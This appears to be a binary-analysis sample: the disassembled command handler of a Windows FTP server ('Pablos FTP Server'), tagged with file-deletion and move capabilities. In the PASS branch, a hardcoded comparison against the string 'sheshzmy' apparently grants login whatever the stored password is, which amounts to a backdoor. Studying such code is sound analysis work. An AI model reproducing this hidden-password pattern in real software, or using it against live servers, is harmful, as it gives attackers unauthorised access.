Function at 0x4031ae
Capabilities:
Delete directory
Delete file
Move file

Disassembly:
mov eax, 0x4076a9
call sub.MSVCRT.dll__EH_prolog
sub esp, 0x148
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [ebp - 0x20]
call sub.MFC42.DLL_CString::CString
and dword [ebp - 4], 0
lea ecx, [ebp - 0x18]
call sub.MFC42.DLL_CString::CString
lea eax, [ebp - 0x18]
mov ecx, esi
push eax
lea eax, [ebp - 0x20]
push eax
mov byte [ebp - 4], 1
call fcn.00402f22
test eax, eax
je 0x403c42
and dword [ebp - 0x14], 0
mov ebx, 0x40b2cc
mov edi, ebx
push dword [edi]
push dword [ebp - 0x20]
call dword [sym.imp.MSVCRT.dll__mbscmp]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x18]
test eax, eax
je 0x40323d
inc dword [ebp - 0x14]
add edi, 0x10
cmp edi, 0x40b4bc
jl 0x4031fd
cmp dword [ebp - 0x14], 0x1a
je 0x40325c
cmp dword [ebp - 0x14], 0xb
je 0x40325c
push 1
pop edi
cmp dword [esi + 0x2c], edi
jne 0x40325f
push str.530_Please_login_with_USER_and_PASS.
jmp 0x403c3a
mov eax, dword [ebp - 0x14]
shl eax, 4
cmp dword [eax + 0x40b2d0], 0
je 0x40321f
cmp dword [ecx - 8], 0
jne 0x40321f
push str.501_Syntax_error:_Invalid_number_of_parameters.
jmp 0x403c3a
push 1
pop edi
mov eax, dword [ebp - 0x14]
cmp eax, 0x1e
ja case.default.0x40326b
jmp dword [eax*4 + 0x403c69]
mov dword [esi + 0x2c], edi
lea edi, [esi + 0x18]
lea eax, [ebp - 0x18]
mov ecx, edi
push eax
call fcn.00406b92
push dword [edi]
push str.331_Password_required_for__s
jmp 0x403c19
mov eax, dword [esi + 0x18]
cmp dword [eax - 8], 0
jne 0x4032a2
push str.503_Login_with_USER_first.
jmp 0x403c3a
lea ecx, [esi + 0x60]
push ecx
push eax
mov ecx, 0x40c388
call fcn.00406874
test eax, eax
je 0x40330b
push 8
push str.sheshzmy
push dword [ebp - 0x18]
call sub.MSVCRT.dll_memcmp
add esp, 0xc
test eax, eax
je 0x4032e7
push dword [ebp - 0x18]
mov eax, dword [esi + 0x68]
push eax
call dword [sym.imp.MSVCRT.dll__mbscmp]
pop ecx
test eax, eax
pop ecx
je 0x4032e7
mov eax, dword [esi + 0x68]
cmp dword [eax - 8], 0
jne 0x40330b
cmp dword [esi + 0x80], 0
jne 0x40330b
push 0x40c054
lea ecx, [esi + 0x5c]
call fcn.00406c04
and dword [esi + 0x2c], 0
push str.230_User_successfully_logged_in.
jmp 0x403c3a
push str.530_Not_logged_in__user_or_password_incorrect_
jmp 0x403c3a
push ecx
push str.200_Type_set_to__s
jmp 0x403c19
push dword [esi + 0x5c]
push str.257___s__is_current_directory.
jmp 0x403c19
push 0x40bfc8
lea ecx, [ebp - 0x18]
call fcn.00406c04
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::CString
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 2
push eax
push 6
push ecx
lea eax, [ebp - 0x18]
mov ecx, esp
mov dword [ebp - 0x24], esp
push eax
call sub.MFC42.DLL_CString::CString_1
mov ecx, esi
call fcn.00404c35
sub eax, 3
je 0x4033be
dec eax
dec eax
je 0x4033b4
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::CString
lea eax, [ebp - 0x10]
mov ecx, esi
push eax
mov byte [ebp - 4], 3
push dword [ebp - 0x14]
call fcn.00404110
test eax, eax
je 0x403395
lea eax, [ebp - 0x10]
lea ecx, [esi + 0x5c]
push eax
call fcn.00406b92
push dword [esi + 0x5c]
push str.250___s__is_current_directory.
push esi
call fcn.004030ef
add esp, 0xc
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 2
call fcn.00406b8c
jmp 0x4033cf
push dword [ebp - 0x18]
push str.550___s_:_Permission_denied.
jmp 0x4033c6
push dword [ebp - 0x18]
push str.550___s_:_Directory_not_found.
push esi
call fcn.004030ef
add esp, 0xc
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x14]
jmp 0x4035c8
lea ecx, [ebp - 0x3c]
call sub.MFC42.DLL_CStringArray::CStringArray
lea eax, [ebp - 0x3c]
mov byte [ebp - 4], 4
push eax
push 0x2c
push dword [ebp - 0x18]
call fcn.00406244
mov eax, dword [ebp - 0x38]
push dword [eax + 0xc]
push dword [eax + 8]
push dword [eax + 4]
push dword [eax]
lea eax, [esi + 0x24]
push str._s._s._s._s
push eax
call sub.MFC42.DLL_CString::Format
mov eax, dword [ebp - 0x38]
mov edi, dword [sym.imp.MSVCRT.dll_atoi]
mov ecx, dword [eax + 0x10]
mov ebx, dword [eax + 0x14]
push ecx
call edi
mov edx, eax
push ebx
shl edx, 8
mov dword [ebp - 0x24], edx
call edi
mov ecx, dword [ebp - 0x24]
and dword [esi + 0x1c], 0
add ecx, eax
push str.200_Port_command_successful.
push esi
mov dword [esi + 0x20], ecx
call fcn.004030ef
add esp, 0x34
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 1
call fcn.00406df6
jmp 0x403c42
mov ecx, esi
call fcn.00403de6
push 0x30
call sub.MFC42.DLL_operatornew
pop ecx
mov dword [ebp - 0x1c], eax
test eax, eax
mov byte [ebp - 4], 5
je 0x40347d
push esi
mov ecx, eax
call fcn.00404f6d
jmp 0x40347f
xor eax, eax
push 0
push 0x3f
push edi
push 0
mov ecx, eax
mov byte [ebp - 4], 1
mov dword [esi + 0x28], eax
call sub.MFC42.DLL_CAsyncSocket::Create
test eax, eax
jne 0x4034a9
mov ecx, esi
call fcn.00403de6
push str.421_Failed_to_create_socket.
jmp 0x403c3a
mov eax, dword [esi + 0x28]
push 5
push dword [eax + 4]
call sub.WSOCK32.dll_listen
mov ecx, dword [esi + 0x28]
push 0x3f
call sub.MFC42.DLL_CAsyncSocket::AsyncSelect
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 6
call sub.MFC42.DLL_CString::CString
lea eax, [ebp - 0x14]
mov ecx, esi
push eax
lea eax, [ebp - 0x10]
push eax
mov byte [ebp - 4], 7
call sub.MFC42.DLL_CAsyncSocket::GetSockName
mov ecx, dword [esi + 0x28]
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x24]
push eax
call sub.MFC42.DLL_CAsyncSocket::GetSockName
push 0x40bf18
push 0x40bf14
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::Replace
mov eax, dword [ebp - 0x14]
mov ecx, eax
and ecx, 0xff
shr eax, 8
push ecx
push eax
push dword [ebp - 0x10]
push str.227_Entering_Passive_Mode___s__d__d_.
push esi
call fcn.004030ef
add esp, 0x14
lea ecx, [ebp - 0x24]
mov dword [esi + 0x1c], edi
mov byte [ebp - 4], 6
call fcn.00406b8c
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x10]
jmp 0x4035c8
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::CString
xor eax, eax
cmp dword [ebp - 0x14], 9
mov ecx, esi
mov byte [ebp - 4], 8
sete al
push eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x18]
call fcn.00404541
test eax, eax
je 0x4035c1
push str.150_Opening_ASCII_mode_data_connection_for_directory_list.
push esi
call fcn.004030ef
pop ecx
pop ecx
mov ecx, esi
call fcn.00403d03
test eax, eax
je 0x4035ba
mov eax, dword [ebp - 0x10]
cmp dword [eax - 8], 0
jne 0x4035a8
mov ecx, esi
call fcn.00403de6
push str.226_Transfer_complete.
push esi
call fcn.004030ef
and dword [esi + 0x2c], 0
pop ecx
pop ecx
jmp 0x4035c1
mov ecx, dword [esi + 0x28]
push eax
mov dword [esi + 0x2c], 2
call fcn.00405630
jmp 0x4035c1
mov ecx, esi
call fcn.00403de6
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x10]
call fcn.00406b8c
jmp 0x403c42
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::CString
lea eax, [ebp - 0x10]
mov byte [ebp - 4], 9
push eax
push edi
push ecx
lea eax, [ebp - 0x18]
mov ecx, esp
mov dword [ebp - 0x1c], esp
push eax
call sub.MFC42.DLL_CString::CString_1
mov ecx, esi
call fcn.00404a72
dec eax
dec eax
je 0x403641
sub eax, 3
je 0x40363a
push str.150_Opening_BINARY_mode_data_connection_for_file_transfer.
push esi
call fcn.004030ef
pop ecx
pop ecx
mov ecx, esi
call fcn.00403d03
test eax, eax
jne 0x403626
and dword [esi + 0x2c], eax
mov ecx, esi
call fcn.00403de6
jmp 0x40364e
push dword [ebp - 0x10]
mov ecx, dword [esi + 0x28]
mov dword [esi + 0x2c], 4
call fcn.0040565c
jmp 0x40364e
push str.550_Permission_denied.
jmp 0x403646
push str.550_File_not_found.
push esi
call fcn.004030ef
pop ecx
pop ecx
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x10]
jmp 0x4035c8
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::CString
lea eax, [ebp - 0x10]
mov byte [ebp - 4], 0xa
push eax
push 2
push ecx
lea eax, [ebp - 0x18]
mov ecx, esp
mov dword [ebp - 0x1c], esp
push eax
call sub.MFC42.DLL_CString::CString_1
mov ecx, esi
call fcn.00404a72
dec eax
dec eax
je 0x4036ef
sub eax, 3
je 0x4036e8
and dword [esi + 0x50], 0
cmp dword [ebp - 0x14], edi
jne 0x4036b0
lea eax, [ebp - 0x154]
push eax
push dword [ebp - 0x10]
call sub.MFC42.DLL_CFile::GetStatus
test eax, eax
je 0x4036b0
mov eax, dword [ebp - 0x148]
mov dword [esi + 0x50], eax
push str.150_Opening_BINARY_mode_data_connection_for_file_transfer.
push esi
call fcn.004030ef
pop ecx
pop ecx
mov ecx, esi
call fcn.00403d03
test eax, eax
jne 0x4036d4
and dword [esi + 0x2c], eax
mov ecx, esi
call fcn.00403de6
jmp 0x4036fc
push dword [ebp - 0x10]
mov ecx, dword [esi + 0x28]
mov dword [esi + 0x2c], 3
call fcn.004056a8
jmp 0x4036fc
push str.550_Permission_denied.
jmp 0x4036f4
push str.550_Filename_invalid.
push esi
call fcn.004030ef
pop ecx
pop ecx
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x10]
jmp 0x4035c8
push ecx
call dword [sym.imp.MSVCRT.dll_atol]
push eax
push str.350_Restarting_at__d.
push esi
mov dword [esi + 0x50], eax
call fcn.004030ef
add esp, 0x10
jmp 0x403c42
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::CString
lea eax, [ebp - 0x10]
mov byte [ebp - 4], 0xb
push eax
push edi
push ecx
lea eax, [ebp - 0x18]
mov ecx, esp
mov dword [ebp - 0x1c], esp
push eax
call sub.MFC42.DLL_CString::CString_1
mov ecx, esi
call fcn.00404a72
dec eax
dec eax
je 0x403782
sub eax, 3
je 0x40377b
lea eax, [ebp - 0x154]
push eax
push dword [ebp - 0x10]
call sub.MFC42.DLL_CFile::GetStatus
push dword [ebp - 0x148]
push str.213__d
push esi
call fcn.004030ef
add esp, 0xc
jmp 0x40378f
push str.550_Permission_denied.
jmp 0x403787
push str.550_File_not_found.
push esi
call fcn.004030ef
pop ecx
pop ecx
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x10]
jmp 0x4035c8
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::CString
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 0xc
push eax
push 4
push ecx
lea eax, [ebp - 0x18]
mov ecx, esp
mov dword [ebp - 0x1c], esp
push eax
call sub.MFC42.DLL_CString::CString_1
mov ecx, esi
call fcn.00404a72
dec eax
dec eax
je 0x403820
sub eax, 3
je 0x403819
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::CString
lea eax, [ebp - 0x10]
mov ecx, esi
push eax
mov byte [ebp - 4], 0xd
push dword [ebp - 0x14]
call fcn.00404110
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push dword [ebp - 0x10]
test eax, eax
jne 0x4037fd
push str.450_Internal_error_deleting_the_file:___s_.
jmp 0x403802
push str.250_File___s__was_deleted_successfully.
push esi
call fcn.004030ef
add esp, 0xc
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 0xc
call fcn.00406b8c
jmp 0x40382d
push str.550_Permission_denied.
jmp 0x403825
push str.550_File_not_found.
push esi
call fcn.004030ef
pop ecx
pop ecx
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x14]
jmp 0x4035c8
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::CString
lea eax, [ebp - 0x10]
mov byte [ebp - 4], 0xe
push eax
push 4
push ecx
lea eax, [ebp - 0x18]
mov ecx, esp
mov dword [ebp - 0x1c], esp
push eax
call sub.MFC42.DLL_CString::CString_1
mov ecx, esi
call fcn.00404c35
sub eax, 3
je 0x40389f
dec eax
dec eax
je 0x403898
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_RemoveDirectoryA]
test eax, eax
jne 0x403891
call sub.WSOCK32.dll_WSAGetLastError
cmp eax, 0x91
jne 0x40388a
push str.550_Directory_not_empty.
jmp 0x4038a4
push str.450_Internal_error_deleting_the_directory.
jmp 0x4038a4
push str.250_Directory_deleted_successfully.
jmp 0x4038a4
push str.550_Permission_denied.
jmp 0x4038a4
push str.550_Directory_not_found.
push esi
call fcn.004030ef
pop ecx
mov byte [ebp - 4], 1
pop ecx
lea ecx, [ebp - 0x10]
jmp 0x4035c8
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::CString
lea eax, [ebp - 0x10]
mov byte [ebp - 4], 0xf
push eax
push 5
push ecx
lea eax, [ebp - 0x18]
mov ecx, esp
mov dword [ebp - 0x1c], esp
push eax
call sub.MFC42.DLL_CString::CString_1
mov ecx, esi
call fcn.00404c35
test eax, eax
je 0x40390b
cmp eax, 5
je 0x403904
push dword [ebp - 0x10]
call fcn.00406081
test eax, eax
pop ecx
jne 0x4038fd
push str.450_Internal_error_creating_the_directory.
jmp 0x403910
push str.250_Directory_created_successfully.
jmp 0x403910
push str.550_Cant_create_directory._Permission_denied.
jmp 0x403910
push str.550_Directory_already_exists.
push esi
call fcn.004030ef
pop ecx
mov byte [ebp - 4], 1
pop ecx
lea ecx, [ebp - 0x10]
jmp 0x4035c8
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::CString
lea eax, [ebp - 0x10]
mov byte [ebp - 4], 0x10
push eax
push 3
push ecx
lea eax, [ebp - 0x18]
mov ecx, esp
mov dword [ebp - 0x1c], esp
push eax
call sub.MFC42.DLL_CString::CString_1
mov ecx, esi
call fcn.00404a72
test eax, eax
lea eax, [ebp - 0x10]
push eax
jne 0x403978
lea ecx, [esi + 0x54]
call fcn.00406b92
mov dword [esi + 0x4c], edi
push str.350_File_exists__ready_for_destination_name.
push esi
call fcn.004030ef
pop ecx
mov byte [ebp - 4], 1
pop ecx
lea ecx, [ebp - 0x10]
jmp 0x4035c8
push 3
push ecx
lea eax, [ebp - 0x18]
mov ecx, esp
mov dword [ebp - 0x1c], esp
push eax
call sub.MFC42.DLL_CString::CString_1
mov ecx, esi
call fcn.00404c35
test eax, eax
je 0x4039a7
cmp eax, 5
je 0x4039a0
push str.550_File_directory_not_found.
jmp 0x403964
push str.550_Permission_denied.
jmp 0x403964
lea eax, [ebp - 0x10]
lea ecx, [esi + 0x54]
push eax
call fcn.00406b92
and dword [esi + 0x4c], 0
push str.350_Directory_exists__ready_for_destination_name.
jmp 0x403964
mov eax, dword [esi + 0x54]
cmp dword [eax - 8], 0
jne 0x4039d1
push str.503_Bad_sequence_of_commands.
jmp 0x403c3a
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::CString
lea eax, [ebp - 0x14]
xor edi, edi
cmp dword [esi + 0x4c], edi
push eax
push 3
push ecx
mov byte [ebp - 4], 0x11
mov ecx, esp
je 0x403a02
lea eax, [ebp - 0x18]
mov dword [ebp - 0x1c], esp
push eax
call sub.MFC42.DLL_CString::CString_1
mov ecx, esi
call fcn.00404a72
jmp 0x403a15
lea eax, [ebp - 0x18]
mov dword [ebp - 0x1c], esp
push eax
call sub.MFC42.DLL_CString::CString_1
mov ecx, esi
call fcn.00404c35
cmp eax, edi
je 0x403aa6
cmp eax, 5
je 0x403a97
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::CString
mov eax, dword [esi + 0x54]
lea ecx, [ebp - 0x10]
push ecx
push eax
mov ecx, esi
mov byte [ebp - 4], 0x12
call fcn.00404110
push dword [ebp - 0x14]
mov eax, dword [esi + 0x54]
push eax
call dword [sym.imp.KERNEL32.DLL_MoveFileA]
test eax, eax
jne 0x403a68
cmp dword [esi + 0x4c], edi
mov eax, str.file
jne 0x403a5d
mov eax, str.directory
push dword [ebp - 0x10]
push eax
push str.450_Internal_error_renaming_the__s:___s_.
jmp 0x403a80
cmp dword [esi + 0x4c], edi
mov eax, str.File
jne 0x403a77
mov eax, str.Directory
push dword [ebp - 0x10]
push eax
push str.250__s___s__renamed_successfully.
push esi
call fcn.004030ef
add esp, 0x10
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 0x11
call fcn.00406b8c
jmp 0x403ac4
push str.550_Permission_denied.
push esi
call fcn.004030ef
pop ecx
pop ecx
jmp 0x403ac4
cmp dword [esi + 0x4c], edi
mov eax, str.File
jne 0x403ab5
mov eax, str.Directory
push eax
push str.550__s_already_exists.
push esi
call fcn.004030ef
add esp, 0xc
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x14]
jmp 0x4035c8
cmp dword [esi + 0x28], 0
je 0x403afe
cmp dword [esi + 0x2c], 0
je 0x403ae9
push str.426_Data_connection_closed.
push esi
call fcn.004030ef
pop ecx
pop ecx
mov eax, dword [esi + 0x14]
push 0
push 0
push 0x4ca
push dword [eax + 0x30]
call dword [sym.imp.USER32.dll_PostThreadMessageA]
push str.226_ABOR_command_successful.
jmp 0x403c3a
push str.215_UNIX_emulated_by_Pablos_FTP_Server.
jmp 0x403c3a
mov eax, dword [esi + 0x14]
lea ecx, [ebp - 0x28]
push ecx
mov ecx, dword [eax + 0x70]
call fcn.00403ce5
push dword [eax]
mov byte [ebp - 4], 0x13
push str.220__s
push esi
call fcn.004030ef
add esp, 0xc
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 1
call fcn.00406b8c
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x18]
mov esi, dword [esi + 0x14]
push 0
push edi
push 0x4ca
push dword [esi + 0x30]
call dword [sym.imp.USER32.dll_PostThreadMessageA]
jmp 0x403c42
push 0x40c340
push ecx
call dword [sym.imp.MSVCRT.dll__mbscmp]
pop ecx
test eax, eax
pop ecx
jne 0x403be7
push str.214_The_following_commands_are_recognized:_r_n
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::CString_2
and dword [ebp - 0x24], 0
mov edi, ebx
mov ebx, dword [ebp - 0x24]
mov byte [ebp - 4], 0x14
push dword [edi]
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::operator_1
inc ebx
push 4
mov eax, ebx
pop ecx
cdq
idiv ecx
test edx, edx
jne 0x403bab
push 0x40ba34
jmp 0x403bb0
push 0x40baac
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::operator_1
add edi, 0x10
cmp edi, 0x40b4bc
jl 0x403b8d
push str._r_n214_HELP_command_successful.
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::operator_1
push dword [ebp - 0x14]
push esi
call fcn.004030ef
pop ecx
mov byte [ebp - 4], 1
pop ecx
lea ecx, [ebp - 0x14]
jmp 0x4035c8
xor edi, edi
push dword [ebx]
push dword [ebp - 0x18]
call dword [sym.imp.MSVCRT.dll__mbsicmp]
pop ecx
test eax, eax
pop ecx
je 0x403c06
add ebx, 0x10
inc edi
cmp ebx, 0x40b4bc
jl 0x403be9
cmp edi, 0x1f
je 0x403c24
shl edi, 4
push dword [edi + 0x40b2d4]
push str.214__s
push esi
call fcn.004030ef
add esp, 0xc
jmp 0x403c42
push dword [ebp - 0x18]
push str.501_Unknown_command__s
jmp 0x403c19
push str.200_OK
jmp 0x403c3a
push str.502_Command_not_implemented___Try_HELP.
push esi
call fcn.004030ef
pop ecx
pop ecx
and byte [ebp - 4], 0
lea ecx, [ebp - 0x18]
call fcn.00406b8c
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x20]
call fcn.00406b8c
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret